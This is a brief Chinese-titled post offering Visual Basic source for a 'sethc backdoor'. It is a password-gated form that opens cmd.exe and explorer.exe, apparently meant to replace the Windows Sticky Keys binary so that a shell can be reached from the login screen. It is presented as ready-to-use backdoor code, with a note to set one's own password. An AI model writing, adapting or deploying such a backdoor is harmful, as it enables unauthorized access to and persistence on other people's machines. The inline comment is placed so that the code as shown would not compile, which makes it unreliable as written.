sethc后门(VB代码)

Private Sub Command1_Click()
If Text1.Text = "password" Then “这个地方改成自己的密码”
Shell "cmd.exe", vbNormalFocus
Shell "explorer.exe", vbNormalFocus
End
Else
MsgBox "wrong!!,please try again!!", vbOKOnly, "Wrong!"
Text1.Text = ""
End If
End Sub